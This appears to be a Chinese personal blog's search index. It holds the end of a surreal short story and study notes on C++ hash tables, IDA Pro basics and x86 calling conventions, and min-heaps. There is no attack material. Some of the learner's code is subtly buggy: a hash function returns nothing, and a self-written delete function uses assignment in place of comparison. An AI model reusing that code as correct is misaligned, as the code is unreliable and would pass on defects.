他似乎没反应过来,疑惑地看着我。不等他开口,我结束了对话。\n “不好意思,我开玩笑的,忘掉刚才的话吧。”\n 我不太明白他是出于何种原因而未能理解我的话语,但当我注意到他无法回答我的问题时,我就明白了——盛宴还未结束。\n 我加快步伐,迅速地穿行在密林中。复杂的地形让守卫逐渐落后于我。耳边能隐约响起他的呼唤,但我已经没有闲心去理会那些杂音。这里的一切都让我欢愉,哪怕没有飞鸟,也会出现它们鸣叫的幻听。我考察着每一颗未曾相识的树木,截取一段段不知名的藤蔓,任凭那青汁沿着走廊拖出道道彗尾。\n 汗水开始淋漓,吐息越发灼烫。我此生从未有过如此轻快的感觉,仿佛下一刻就将悬空。奔跑得愈加迅猛,欢呼亦沸反盈天,若天空都将坠落的宏伟,若深海中翻涌的壮烈!\n 现在,我们该去哪?\n 早已无关紧要。又或者,我们哪也不去。\n 那簇拥在花与藤蔓之中的符号是某个远古部族遗留下的图腾吗?在我理解之后,我才开始希望它能只是图腾。于是我又开始后悔,接着又后悔自己进行如此无谓的思考。可比起那微不足道的悔意,惊惧先溢出了躯壳。\n 心中的懊恼、仇恨、悲伤、妒忌、愤慨、傲慢、恐惧、猜疑……无穷无尽的恶劣在一瞬间被杂糅进这副躯壳,残缺的灵魂在那一刻得以完整,割裂的意识首次达成了共识,我们,被压成了我。\n 但这刹那的丑恶马上分崩离析,理智又重新将每位囚犯再度分离。这猛烈的既视感与被唤醒的记忆几乎冲散了意识,让我险些发了疯,就要践行那些原始的低劣行径。\n 他们无数次逼迫我,又无数次警告我;要我破坏伤害所有,又要我仓皇狼狈逃走。可我又该如何是好?遍地的狼藉都是我逃跑时撞倒的低矮幼苗,鞋底踏碎的嵌进橡胶里的木屑几乎就要刺破脚底,那刺痛的感觉伴随着我每一步的迈进而深入,那逐渐加深的惶恐也开始撕咬脖颈。\n 我感觉周围的气温在上升,似乎连光都坍塌了。森林逐渐倾颓,倒伏的灌木被沙砾压垮,湿润的泥土被黄土遮盖,青枝绿叶都在以肉眼可见的速度枯萎,花海正举行着壮烈的凋敝,风尘扬起萧条稀疏与落魄,沙哑的息响渐行渐远。\n 而前方,或许是海市蜃楼……\n 那是我穷极一生都捉不住的光景。\n 城市与城市相互割裂,拼接与断裂的楼房接连粉碎。绽放又凋零的花瓣坠向穹宇,在无风中扩散飘往极夜。无数苍绿的荫蔽垂向皲裂而壮丽的花海,于绚烂的极光与深邃的夜空中扎根逆悬,挣脱树梢的落叶伴随着花瓣、瓦砾与碎石退场。空气中弥散着硝石与熏香,那雪绒般的花瓣沾染了战火掠过耳际,那畸形的瓦砾承载着花香沉没星海。它们舞动着我无法描述的狂乱舞蹈,时而卷积、时而离散,如在漩涡中挣扎,如在篝火旁覆灭。\n 我能隐约看见,那些若隐若现的破败尖塔指向地面。朦胧了边际的雾霾隐匿了它们的形骸。曾经金碧辉煌的庙宇和宫殿早已毁灭,只剩下这些挂在天际的模糊轮廓。它们狰狞着面孔,摆出一副骇人模样,是那些漏风的孔在嘶鸣,是那些敞开的门窗里透出的烛火在摇摆,是那些破损的老钟在风中残喘,是那些,那些我无法言明的惊骇存在。\n 风信子的瓣已经揉碎浸泡到暗金色的河水里,却浮在水面没有流走。我啜饮那些沉重的河水,步伐却轻盈宛若蝶翼。\n 在这失去秩序的世界脚底,那些惊惧、那些愤怒、那些可有可无的孤独与那些毫无意义的克制全都不过是些卑微到甚至不如草芥的习性。想呼吸就呼吸吧,想跳舞就跳舞吧,谁要来拦着,那就撕烂他的嘴,砸碎他的额骨,扯出他的肮脏的白骨,最后再丢进垃圾桶。我难以置信地兴奋着,呼吸也变得比引擎要更加急促,手脚不听使唤地颤着,正为世界的颠倒而欢呼高嚎。\n 我绕着山丘上的巨树不停地奔跑,它就像世界的支柱那般庞大而可靠,纵使有上百个我,也难以将它包围吧。\n 树底下的害虫与野兽迫使我爬上巨树的躯干,又折下它繁茂枝叶中的一根,用以驱赶我的恐惧。我挥舞着枝条,泼洒下无数迅速枯萎腐败的黑色树叶。那群恶魔竟在退避!它们面对这样一根干瘪的树枝竟在退避!\n 花海似乎也在嘲笑它们的懦弱,盛放得更加招摇,也更加妖艳。视线里连成一片的都是它们耀眼而模糊的光华。吞噬花瓣的星夜愈加贪婪,极光的演变激烈而绚烂,闪烁着荧光的飞虫织结成绳网,缠绕捆绑擎天的巨木。\n 它正走向衰亡,于此绝景之中。\n 轰然的倒塌形成漆黑的空洞。吞噬盛世的霞光与极夜。大地挣脱,泥土与尘埃逆转着沉沦,自持的根基在逐步瓦解。\n 这秩序的崩塌带来的是无与伦比的盛宴!\n 毋须再去顾忌毒龙蝼蚁、毋须再去嫌恶贪婪古株,将自己的根绕出累赘的土壤,飘往极夜去吧!\n 落叶与大地寻往自由,枯干托起沉重;卸下纠缠的层层泥土,埋没银怀表。\n 何故要去留恋与土地纠缠的岁月,又何故愿被修剪枝叶?拔去利刺的荆棘与藤蔓何异,可这雨林容不下尖刺与棘。它那垂下的荆条向着无害的方向进化,顽固则被卸除,装作理智的绵羊将要复苏,悬空终要回归大地……\n 他拥抱坠落的废墟,被埋进泥海;曾到往星海的瓦砾,携不来半片星骸。淌出的青汁汇入沟壑,鼓动如岩浆蔓延。纷争亦不过是风化的褐岩,没有我所写下的一切。\n","categories":["Story"],"tags":["故事","短篇"]},{"title":"散列Hash","url":"/2021/02/11/hash/","content":"注:学习过程参照《数据结构与算法分析——C语言描述》,虽然我个人是用C++实现,但代码大致上与书中一致。如果您发现了某些错误,欢迎指正。\n[toc]\n一种映射方式。给定一个关键字,将它映射到一张表上对应的单元格。这里展示一种Hash函数:\nunsigned int Hash(const char* key, int TableSize){unsigned int HashVal = 0;while (*key != '\\0')HashVal = (HashVal << 5) + *key++;return HashVal % TableSize;}\n\n因为常见的关键字都是字符串,所以这样写。但在下面的笔记中,我将关键字规定为整型,以提高笔记的简明性,所以这里将会用另外一种Hash函数:\nunsigned int Hash(int key, int TableSize){unsigned int HashVal = 0;HashVal = key % TableSize;}\n\n按照流程,其实本该从建立哈希表开始,但很快就会遇到一些问题,所以我打算和在一起记录。不妨先假设我们已经建好了一张散列表。\n问题是非常显而易见的,既然是一种映射函数,那必然会出现碰撞(两个不同的关键字具有相同的散列值)。比如现在所用的这个函数,假设表尺寸TableSize是11,那么关键字“11”“110”就会有同样的散列值了。\n因为一个单元格只能储存一个关键字,那么就要对多出来的那一个做些处理了,下面将会详细说明三种方法(总共有四种)。\n分离链接:举一个比较形象的例子吧。\n    假设散列表是一个平面,他有X轴和Y轴,两个轴的坐标都必须是整数(整数只是为了好理解一些罢了)。\n    比方说(1,1)。现在有两个关键字都被映射到了这个点上,那如何解决?为它增加一个Z轴。\n    那么关键字便能够这样储存:(1,1,key1)和(1,1,key2)\n    就像是在这个点下面挂上了两个关键字一样。它没有缓解碰撞的出现,但是容许了碰撞的出现。因为即便hash值相同,关键字也同样能够被顺利储存下来。\n    在C++中,这种结构是实现方法便是链表。所谓的Z轴就相当于在每一个节点下面挂上一条链表。\n    必要的声明:(因为各种声明有些绕,所以加了些许方便理解的注释和一些没必要的名词。)\nstruct Listnode;//表节点typedef struct Listnode* Position;//指向表节点的“位置指针”struct HashTbl;//哈希表typedef struct HashTbl* HashTable;//指向哈希表的“表指针”typedef Position List;//“位置指针”也将作为“列表指针” struct Listnode {int info;//关键字Position Next;//指向下一个表节点的“位置指针”};struct HashTbl {int TableSize;//表尺寸List* TheLists;//指向“位置指针”的“列表指针”}\n\n建立表:\nHashTable InitializeTable(int TableSize){HashTable H;H = new HashTbl; //H->TableSize = NextPrime(TableSize);这个函数的作用是取比该值大的下一个素数,但这样简化了一下,所以才有下面的要求H->TableSize = TableSize;//这要求Tablesize是大于表大小的素数H->TheLists = new List[TableSize]; for (int i = 0; i < TableSize; i++){H->TheLists[i] = new Listnode;H->TheLists[i]->Next = NULL;}return H;}\n\n流程说明:\n    该函数将会返回一个“表指针”,这个指针指向我们刚刚建立的哈希表。\n    首先,新建一个表指针,并为其开辟一个哈希表空间。现在这个表指针H已经指向了刚开辟的空间。\n    将我们输入的“表尺寸”作为这张新表的尺寸,并根据这个尺寸,在表中开辟一个数组,这个数组的元素是“列表指针”。现在,新表中的列表指针TheLists成为了刚开辟好的数组的第一个元素——一个新的列表指针。注意,这个数组的大小会和设定好的“表尺寸一样大”。\n    接下来为每一个“表指针”开辟一个新节点,并将节点的Next指针指向NULL。\n    现在,TheLists中的每一个列表指针指向新节点。并且,节点中的关键字都还没有初始化。\nFind函数:该表将会返回找到的关键字的“位置指针”\nPosition Find(HashTable H,int Key){Position P;List L;L = H->TheLists[Hash(Key, H->TableSize)];P = L->Next;while (P != NULL && P->info != Key)//strcmp strcpyP = P->Next;return P;}\n\n流程说明:\n    新建一个“位置指针”P和“列表指针”L\n    让“列表指针”临时成为关键字本该出现的那一列。(我总觉得这种说辞有些不太简洁。)\n    Hash(Key,H->TableSize)其实就是将关键字进行映射,假设结果被映射到了5,那么“列表指针”将临时成为数组中的第六个。\n    “位置指针”临时成为L->Next\n    之所以是临时,目的是不改变哈希表本来的结构,所以引入临时变量来操作数据。\n    接下来开始遍历这一列上的每一个节点,直到找到了相同的关键字或者已经枚举尽了。\n    注:因为关键字不一定都是整数,像是字符串之类的关键字,则必须用strcmp和strcpy这样的函数来比较。\n插入函数:\nvoid Insert(int Key,HashTable H){Position tmpPos, Newcell;List L; tmpPos = Find(H, Key);if (tmpPos == NULL){Newcell = new Listnode;L = H->TheLists[Hash(Key, H->TableSize)];Newcell->Next = L->Next;Newcell->info = Key;L->Next = Newcell;}}\n\n流程说明:\n    输入关键字和哈希表地址。\n    首先,新建一个“临时位置指针”tmpPos和Newcell,以及一个“列表指针”L。\n    查找这张表中是否已经存在这个关键字了,如果存在就直接跳过,否则才进行添加。\n    假设本不存在这个关键字。\n    为Newcell新建一个节点。\n    让L指针临时成为指向相应坐标的位置指针。\n    那么现在L将指向某个节点,比方说TheLists[5]。\n    令Newcell节点中的Next指针成为L指针指向的节点的Next指针。\n    关键字赋予。\n    将L指向的节点中Next指针指向这个新节点。\n    (这个新节点将被挂在最靠近“轴”的那一侧。)\n最后是删除函数:\nvoid Deletenode(int Key, HashTable H){Position tmpPos,tmpP2;List L;tmpPos = Find(H,Key);L = H->TheLists[Hash(Key, H->TableSize)];if (tmpPos != NULL&&L->info!=Key){tmpP2 = tmpPos->Next;while(L->Next!=NULL){if (L->Next->info == Key){L->Next = tmpP2;delete tmpPos;}elseL = L->Next;}}else if (L->info = Key){int K;L->info = K;}}\n\n书上并没有给出删除数据的函数,所以这个函数是我自己现写的,不太确定是否完全正确。\n但思路很简单,就是找到关键字那一排,然后把节点删掉,然后再把链表重新拼起来。如果关键字存在头节点,那就只替换掉关键字就行。\n(所以最好是不要往头节点放东西,将表制成头节点不包含数据的样式最佳。就连书上也是这样推荐的)\n开放定址:    先贴出完全的代码,再进行逐步分析:(以下代码为平方探测)\n#include<iostream>using namespace std;//----------------------------//struct HashTbl;typedef struct HashTbl* HashTable;struct HashEntry;typedef unsigned int Index;typedef Index Position;typedef struct HashEntry Cell;enum KindOfEntry {Legitimate,Empty,Deleted};#define MinTableSize 2struct HashEntry{int Key;enum KindOfEntry Info;};struct HashTbl{int TableSize;Cell* TheCells;};Position Find(int key, HashTable H);void Insert(int key, HashTable H);HashTable InitializeTable(int TableSize);Index Hash(const char* key, int TableSize);//----------------------------//HashTable InitializeTable(int TableSize){HashTable H;if (TableSize < MinTableSize)return NULL;else{H = new HashTbl;H->TableSize = TableSize;H->TheCells = new HashEntry[H->TableSize];for (int i = 0; i < H->TableSize; i++)H->TheCells[i].Info = Empty;return H;}}Position Find(int key, HashTable H){Position CurrentPos;int CollisionNum;CollisionNum = 0;CurrentPos = Hash(key, H->TableSize);while (H->TheCells[CurrentPos].Info != Empty && H->TheCells[CurrentPos].Key != key){CollisionNum++;CurrentPos += 2 * CollisionNum - 1;if (CurrentPos >= H->TableSize)CurrentPos -= H->TableSize;}return CurrentPos;}void Insert(int key,HashTable H){Position Pos;Pos = Find(key, H);if (H->TheCells[Pos].Info != Legitimate){H->TheCells[Pos].Info = Legitimate;H->TheCells[Pos].Key = key;}}\n\n    继上一篇链接法之后,这次遇到了开放寻址。原理也并不复杂。其实就是当发生了碰撞(不同的关键字却拥有一样的哈希值)时,为后到的关键字再找另外一个地方存放。当然,这个存放也不能是瞎存放,它是有一定规则的,常见的有两种,分别是“线性”和“平方”。\n线性探测:\n当发生碰撞的时候,就往下一个单元格去存放(如果还碰撞就继续往下,碰到底了就绕回表头继续往下)。是相对朴素的一种方法,只要表还没装满,那就一定能给关键字找到合适的位置。当然,这也同时很不效率,因为它必须一个个去匹配判断,一次次去绕,怎么想都不是很效率,所以还有另外一种“平方”。\n平方探测:\n    因为上一种不太效率,所以平方探测可能更平常一些。简单来说,当发送了碰撞,就去找当前单元格下的  i^2 格,以此类推(其中,i是一个从1开始的常数,每次判断都会+1。所以偏移量是按照1,4,9,16的顺序来增加的)。\n    注:还有另外一种平方探测,和上面的相近,只是变成了  (-1)^i(i)^2 而已,并且 常量i 是每两回合+1(-1,+1,-4,+4像这样)。\n    这种方式能很好的防止过多次数的匹配,因为插入数据的单元都很分散,但也同样有些毛病。比方说,必须要保证哈希表足够大。试想一下,这种匹配方式,是不是有可能导致某个数据来回匹配无数次都没办法放进空的单元格里?解决这种方式就需要让哈希表足够大。显然,这可能会浪费不少空间,但速度无疑提升了。\n//——————————————-//\n首先是创建表函数:\nHashTable InitializeTable(int TableSize){HashTable H;if (TableSize < MinTableSize)return NULL;else{H = new HashTbl;H->TableSize = TableSize;H->TheCells = new HashEntry[H->TableSize];for (int i = 0; i < H->TableSize; i++)H->TheCells[i].Info = Empty;return H;}}\n\n    并不复杂,连代码都没几行。\n    首先,建立一个“表指针H”,然后根据输入的“表尺寸TableSize”建表。\n    ①先为H开辟一个“表空间”\n    ②尺寸赋予\n    ③为该空间中的“表单元指针”开辟出一个数组,以存放每个表单元的数据(我自己偶尔会绕进去,所以姑且打个注释吧。指针在定义的时候就存在了,而开辟指针空间实际上是为指针所指向的结构体开辟一块空间,这一操作只是让这些被声明好的指针有地方能指,而不是把指针放进去……(我自己也觉得这样特地去说好像有点蠢……))\n    ④将这个每个“表单元”初始化为Empty\n    ⑤返回这个表的地址\n    //—————————————————–//\n查找关键字函数:\nPosition Find(int key, HashTable H){Position CurrentPos;int CollisionNum;CollisionNum = 0;CurrentPos = Hash(key, H->TableSize);while (H->TheCells[CurrentPos].Info != Empty && H->TheCells[CurrentPos].Key != key){CollisionNum++;CurrentPos += 2 * CollisionNum - 1;if (CurrentPos >= H->TableSize)CurrentPos -= H->TableSize;}return CurrentPos;}\n\n    很有意思的函数,我最初并没有看懂为什么CurrentPos是那样计算的,但从结论来说,作者说的对。\n    ①声明位置指针CurrentPos\n    ②定义碰撞次数CollisionNum=0\n    ③得出其本该对应的哈希值\n    ④遍历表。如果“该单元状态非空,且关键字不相同”,碰撞次数增加,CurrentPos指针偏移一个 CollisionNum^2(并判断是否超出了表的范围,若超出就把它来回来)\n    最妙的就是偏移量计算了。它避免了一些看似需要的乘法和除法。书上还特别叮嘱,不要改变While的判断条件的先后顺序(这是很有必要,也很有趣的方法。当你发现该单元格内数据为Empty,则直接返回这个地址了,而不是返回NULL。这会为下一个Insert函数提供很多便利。并且,也是非常有必要的是,对于没有初始化的单元格内的Key,它无疑是有一个确确实实的值的,这样做能省下一点时间。)\n F(i)=F(i-1)+2i-1 这是书中给出的算法,在计算机中并不难实现。\n    //———————————————————–//\n插入函数:\nvoid Insert(int key,HashTable H){Position Pos;Pos = Find(key, H);if (H->TheCells[Pos].Info != Legitimate){H->TheCells[Pos].Info = Legitimate;H->TheCells[Pos].Key = key;}}\n\n    ①声明,并找出该关键字对应的Pos位置\n    ②如果这个关键字已经存在了,就什么都不做;如果不存在,那就往里面放新的关键字。\n    不妨假设现在的表中是不存在Deleted状态的单元格。那么Find函数只会返回Legitimate或者Empty。\n    返回Legitimate状态的条件,只有一种:①单元格不为空,关键字相同。此时,Find函数会马上返回Legitimate\n    返回Empty状态的条件,也只有一种:①单元格为空,直接返回。\n    这样的说明分明是没必要的,但我写出来才理顺了。\n    删除函数并没有写,我觉得那没太大必要,就做些简单的说明吧。\n    本例中,“删除”操作并不是指把数据真的删除,只是把单元格状态标记为Deleted罢了。数据仍然会被保存。\n    如果真的想写,和上面的Insert差不多。直接用Find找出来,判断是否为Empty就行了。\n双散列与再散列:双散列:\n    原理很朴素。既然第一个哈希值会发生冲突,那再来一个哈希值不就好了?\n    比如,现在有两个哈希函数,分别记作Hash1(X)与Hash2(X),其中,X为关键字。\n    假如现在我们得到的第一个哈希值Hash1所对应的位置已经有先来的人了,位子已经被占了,那这个X肯定没办法放进去了;那么,便再计算这个X的Hash2,发现第二个位子还是空的,于是我们把Hash2放进去。这就是原理,但论谁都应该会有一些疑问,写在下面。\n对双散列的思考:\n    很明显,这种策略并不能从根本上解决问题,甚至也都没办法从基础上解决问题。因为表仍然是那一张,只不过每个关键字现在能够拥有两个哈希值了,但这对每一个关键字来说都是一样的。或许一个好的哈希函数能够在这种情况下尽可能的填补缺陷(比方说,第一个哈希函数算出来的值大多数占据了表的一半,而另外一个哈希函数则占据另外一半,那这种对半开的函数就非常棒了。当然,这只是一种愿望,实际中不一定真的存在这种巧合),但情况仍然相对糟糕。\n    那比方说三散列呢?四散列?看起来好像都是可行的策略,但要设计出这种方案着实困难。对于哈希函数的设计既复杂也浪费,而且往往还不能得到期望的结果。\n    当然,实际情况其实也并没有那么糟糕。放到实际情况中去考量的话,这种策略预期的探测次数几乎和随机冲突解决方法的情形是相同的。\n    吸引人吗?是的,吸引人。但我也不是很懂就是了。\n再散列:\n    同样不难,比起下一个可扩散列来讲,这要随和的多了。\n    原理也很简单。当表不够大了,就把表扩大一倍不就行了(这个一倍也是有原因的,具体情况适当了解即可)?\n代码:\nHashTable ReHash(HashTable H){int OldSize;OldSize = H->TableSize;Cell* OldCells;OldCells = H->TheCells;H = InitializeTable(2 * OldSize);for (int i = 0; i < OldSize; i++){if (OldCells[i].Info == Legitimate)Insert(OldCells[i].Key, H);}delete[] OldCells;return H;}\n\n    很好理解的,书上给的代码相当易懂,就不解释了。\n","categories":["Note","C++/数据结构"],"tags":["C++","数据结构"]},{"title":"《IDA权威指南》 Note","url":"/2021/03/22/idaprobook/","content":"插图ID:87390511\n笔记主要用作字典,记录仅为了方便自己的查阅\n调用约定:\nvoid demo_cdecl(int x,int y);;demo_cdecl(1,2);//-----------------------//push 2; push ypush 1; push xcall demo_cdecladd esp,8//-----------------------//mov [esp+4],2mov [esp],1call demo_cdecl//-----------------------//;C调用约定:由调用方清除栈中参数\n\nvoid _stdcall demo_stdcall(itn x,int y);;demo_stdcall(1,2);//-----------------------//push 2push 1call demo_stdcall//-----------------------//;标准调用约定:被调用方通过ret 8来清除栈中参数\n\nvoid fastcall demo_fastcall(int w,int x,int y,int z);;demo_fastcall(1,2,3,4);//-----------------------//push 4push 3mov edx,2mov ecx,1call demo_fastcall//-----------------------//x86 fastcall调用约定:将前两个参数(w,x)分别送入ECX和EDX寄存器,其他参数同stdcall相同,由被调用方清除栈中数据\n\nC++调用约定: 使用this指针,由调用方提供调用地址 Mircosoft Visual C++提供thiscall调用约定,将this指针传递道ECX寄存器,并和stdcall中相同,由被调用者清除栈中参数\n\n函数特征:\n\n函数名称:可用于更改函数名称\n起始地址:IDA自动识别的函数起始点\n结束地址:同上\n局部变量区(Local variables area):函数局部变量专用的栈字节数。多数情况下,IDA会通过分析函数的栈指针的行为,自动计算该数值\n保存的寄存器(Saved registers):为调用方保存寄存器所使用的栈字节数(指 push EBP,pop EBP等)。IDA认为保存的寄存器区域存放在保存的返回地址顶部、与函数有关的所有局部变量的下方。一些编译器选择将寄存器保存在函数局部变量的顶部。IDA认为保存这些寄存器所使用的空间属于局部变量区域,而非保存的寄存器区域(本例为main函数,在起始位置存在push EBP的行为)\n已删除的字节(Purged bytes):表示当函数返回调用方时,IDA从栈中删除的参数的字节数。对cdecl函数而言,这个值应该为‘0’。对stdcall函数来说,这个值表示传递道栈上的所有参数占用的空间。在x86程序中,如果IDA观察道程序使用了返回指令的RET N变体,便会自动确定该数值。\n帧指针增量(Frame pointer delta):编译器可能会对函数的帧指针进行调整,使其指向局部变量区域的中间,而不是指向保存在局部变量区域的底部的帧指针中。调整后的帧指针到保存的帧指针之间的这段距离叫做帧指针增量。使用该数值的目的,是在离帧指针1字节的偏移量(-128~+127)内保存尽可能多的栈帧变量。\n不返回(Dose not return):函数不返回到它的调用方。如果调用这样的函数,在相关的调用指令之后,IDA认为函数不会继续执行\n远函数(Far function):在分段体系结构上将函数标记为远函数。在调用该函数时,函数调用方需要指定一个段和偏移值。通常,是否使用远调用,应该由程序中使用的内存模式决定,而不是由体系结构支持分段(x86体系结构上使用了大内存模式(相对于平内存模式))决定\n库函数(Library func):将函数标记为库代码。\n静态函数(Static func):仅标记函数为静态函数\n基于BP的帧(BP Based frame):BP指代EBP。暂时不同能够理解书中的描述\nBP等于SP:一些函数将帧指针配置为在进入应该函数时指向栈帧的顶端,该情况将被标记该数值。基本上,它的作用等同于将帧指针增量大小设置为等于局部变量区域\nArray数组功能:\n数组元素宽度(Array element size):指定各元素的大小,单位为字节\n最大可能大小(Maximal possible size):指定最大数组长度\n数组大小(Array Size):早期版本也称为Number of element\n行中的项目(Item on a line):单行显示的元素数量\n元素宽度(Element width):控制显示时的字距\n使用重复结构(Use “dup” construct):该选项会将相同的数值合并,用重复说明符组合成一项\n有符号元素(Signed element):将数据显示为有符号或无符号\n显示索引(Display indexes):如名的功能。索引将以注释的形式附加在每行的末尾,若单行有多个元素,则只会显示尾元素的索引\n基本操作:\n热键C:可用于将未定义的字符串反编译为代码\n热键D:将代码转换为数据(可类似字符串),也可用于修改一定义数据的类型\n热键G:跳转至目标地址\n热键U:取消当前定义(当IDA错误的将某些数据视作了函数,使用该方法可以修正这种错误)\n","categories":["Note","逆向工程"],"tags":["IDA","逆向"]},{"title":"优先队列(堆)","url":"/2021/02/16/heap/","content":"    学习过程跟进《数据结构与算法分析》,主要代码大致与树种例程相同,若有疏漏或错误,请务必提醒我,我会尽力修正。\n目录:\n\n[toc]优先队列(堆)\n最小堆HeapMin\n左式堆Leftist Heap\n二项队列Binomial-Queue\n\n优先队列(堆):\n    一种能够赋予每个节点不同优先级的数据结构。有“最小堆”和“最大堆”两种基础类型。实现的根本原理有两种,一种是“数组”,另外一种则是“树”(大多是指二叉树)。但在实现最大/最小堆时,使用数组更优。因为堆并不像树那样需要很多功能支持,自然也不需要用到指针(当然,高级结构还是会用到的,比如“左式堆”等,之后将有实现)。\n    如果您此前已经看过堆的基本结构概念,那应该大致明白最小堆长什么样了,基础结构的堆就是一颗符合特定条件的二叉树罢了。\n    特殊性质:对每一个节点的关键字,都要比其子树中的任何一个关键字都小(任何一个节点的关键字是其子树以及其自身中最小的那个)。这个条件是针对最小堆的,最大堆则反之。\n    因为基础的堆结构只支持“插入”和“最小值出堆”这两种操作。在处理任务进程的时候,对应的也有“增加任务”和“处理任务量最少的任务”这种解释,或许这样更容易让人明白堆的作用。而最大堆则可将其解释为“处理优先级最高的任务”。(当然,实际上还需要对任务量/优先级进行变动,包括增/减关键字的大小这样的操作,自然也能够进行特定关键字的删改了)。\n最小堆HeapMin://-----------声明部分----------//struct HeapStruct;struct ElementType;typedef struct HeapStruct* PriorityQueue;//堆指针#define MinElements 1#define Max 99999bool IsEmpty(PriorityQueue H);//是否为空堆bool IsFull(PriorityQueue H);//是否为满堆 void Insert(ElementType key, PriorityQueue H);//插入关键字ElementType DeleteMin(PriorityQueue H);//删除最小值PriorityQueue BuiltHeap(ElementType* Key, int N);//成堆void PercolateDown(int i, PriorityQueue H);PriorityQueue Initialize(int MaxElements);//建空堆void IncreaseKey(int P, int Add, PriorityQueue H);//增加关键字值void DecreaseKey(int P, int sub, PriorityQueue H);//降低关键字值void Delete(int P, PriorityQueue H);//删除关键字struct ElementType//关键字数据块{int Key;};struct HeapStruct//堆结构{int Capacity;int Size;ElementType* Element;};ElementType MinData;//最小数据块//-----------声明部分----------//\n\n     看注释大概就能明白了。但值得说明的是,因为最终是通过数组来实现的,而数组必须先行规定好它的尺寸,所以建立的堆也必须面临“被装满”的情况(当然,用new函数重新开辟也行,谁让这是C++呢)\n建立空堆Initialize:\nPriorityQueue Initialize(int MaxElements)//形参为堆的总节点数{PriorityQueue H;if (MaxElements < MinElements)return NULL;H = new HeapStruct;H->Element = new ElementType[MaxElements + 1];H->Capacity = MaxElements;H->Size = 0;H->Element[0] = MinData;return H;}\n\n    注:我并没有把new函数失败的情形写出来,但那些内容并不影响对数据结构的学习。对这方面有需求请自行添加。\n    注:MinData是一个最小数据块,同时也只是一个冗余块。在之后的任何操作中,都不会对存有MinData的Element[0]进行任何操作。只是通过占用[0]节点,使得之后的操作变得更加可行了。需要注意的是,这个0节点并不是根节点(当时没绕过来,在这里浪费了太多时间)。\n插入Insert:\nvoid Insert(ElementType key, PriorityQueue H){int i;if (IsFull(H))exit;++H->Size;for (i = H->Size; H->Element[i / 2].Key > key.Key; i /= 2)H->Element[i] = H->Element[i / 2];H->Element[i] = key;}\n\n    for循环中的判断方式被称之为“上滤”,也是这种方式得以实现的重要规则。对于根节点从 Element[1] 开始的这个堆,Element[i]的左儿子必然是Element[2*i],除非它没有左儿子。\n    回到这个函数,因为int型会自动取整舍弃小数位,所以 Element[i/2] 必定指向 Element[i] 的父节点,不论它是不是单数。\n    而这个寻路条件则是在不断的比较子节点与父节点的大小。流程如下:\n    ①先将新节点放在数组的最后一位(并不是指数组的末尾,而是按照顺序装填的最后一位),然后比较它与父节点的大小。\n    ②若它小于父节点,那么将其与父节点交换位置,此时 i/=2 , Element[i]再次指向它。\n    ③继续相同操作。直到父节点小于它,或是没有父节点为止。\n    不得不承认,这种操作很棒。因为它让函数的最坏时间复杂度降到了logN(因为实际操作中,不一定都要上履到最顶层)。\n最小值出堆DeleteMin:\nElementType DeleteMin(PriorityQueue H){int i, Child;ElementType MinElement, LastElement;if (IsEmpty(H))return H->Element[0];MinElement = H->Element[1];LastElement = H->Element[H->Size--];for (i = 1; i * 2 <= H->Size; i = Child){Child = 2 * i;if (Child != H->Size && H->Element[Child + 1].Key < H->Element[Child].Key)Child++;if (LastElement.Key > H->Element[Child].Key)H->Element[i] = H->Element[Child];elsebreak;}H->Element[i] = LastElement;return MinElement;}\n\n    同“上滤‘相近,在这个函数中运用的方法为”下滤“。简要谈谈过程吧:\n    ①声明各种各样的变量,并判断H是不是一个空堆。\n    ②将堆中最小的值Element[1]拷贝到MinElement中,同理将最后一个值放进LastElement中。(这个Element[1]将会被新值替换,而这个LastElement则要用来填补某个空缺)\n    ③从i=1开始,Child则指向根节点Element[1]的左儿子,同时比较根节点的左右儿子大小,将Child指向小的那一个,我是说,H->Element[Child]会指向小的那个。\n    ④然后再判断最后一个数和 H->Element[Child] 的大小。如果最后一个比较大,那就把父节点Element[i]用它的子节点替代。\n    ⑤重新回到循环,现在的 i 已经指向了本来的子节点,并开始重复上述从③开始的操作,直到当前Element[i]的子节点中较小的那一个Element[Child]比最后一个节点的值要小为止。\n   ⑥将现在的父节点Element[i]用最后一个替代。\n    或许从途中就会觉得有些怪异,这究竟是个怎么回事。\n    事实上,经过上述操作直到步骤⑤,最终的Element[i]将会指向某片叶子,这片叶子是根据其上的操作逐层筛选出来的。最后通过\nH->Element[i] = LastElement;\n\n    将这个位置用最后一位来替代,并返回了刚开始拷贝好的最小值,实现了删除最小值的操作。当然,实际上,这个数组的最后一位仍然保存着某个关键字,但并不需要太担心,因为经过了H->Size–,当下次插入节点的时候,遇到合适的数值,将会直接把这个位置覆盖掉。并且,也如您所见,所有的操作单元均在[1,H->Size]的范围内,对于范围外的元素,即便它还留有关键字,也不会再造成影响了。\n成堆BuiltHeap:\n    通常,我们将会导入一整串数组,然后再利用它们来生成一个堆结构。实际上,当然也可以通过Insert来一个个安置。以下是没套用Insert的例程,主要通过递归来实现。\nPriorityQueue BuiltHeap(ElementType *Key,int N)//Key指向将要导入的数据数组{int i;PriorityQueue H;H = Initialize(N);for (i = 1; i <= N; i++)H->Element[i] = Key[i - 1];H->Size = N;for (i = N / 2; i > 0; i--)PercolateDown(i, H);return H;}void PercolateDown(int i,PriorityQueue H){int MinSon;ElementType Tmp;if (i <( H->Size / 2)){if (2 * i + 1 <= H->Size && H->Element[2 * i].Key > H->Element[2 * i + 1].Key)MinSon = 2 * i+1;elseMinSon = 2 * i;if (H->Element[i].Key > H->Element[MinSon].Key){Tmp = H->Element[i];H->Element[i] = H->Element[MinSon];H->Element[MinSon] = Tmp;}PercolateDown(MinSon, H);}}\n\n    ①声明,并建立空堆,然后把所有元素全都不按规则的塞进去,再指定好H->Size。\n    ②从最后一个具有“父节点”性质的节点进入下滤函数。过程与DeleteMin相近:选出子节点中小的,再与父节点比较,将较小的那一个放在父节点的位置,而较大的那一个下沉到子节点。并且再次进入这个函数。\n    ③实现全部的过滤之后,返回H。\n    递归在这里是非常好用的。在BuiltHeap函数中,for循环实现了对每一个具有“父节点”性质的节点进行下滤(这是根据数组节点的排列顺序实现的,父节点必然都能按顺序排下去)。而递归则实现了对整条路径的下滤操作。假设从根节点开始下滤,那么必然会进入PercolateDown(MinSon,H)中,将较小的那个子节点作为本次递归的新的父节点同样进行下滤。最终实现了堆序(Heap order)。\n    剩下的就是一些无关紧要的函数了,看看思路就行。因为是我自己写的,可能会有错误,如有发现,还请务必告知我,我会尽量修正。\nvoid DecreaseKey(int P,int sub,PriorityQueue H)//降低关键字的值{H->Element[P].Key -= sub;int i;ElementType Tmp;for (i = P; H->Element[i / 2].Key > 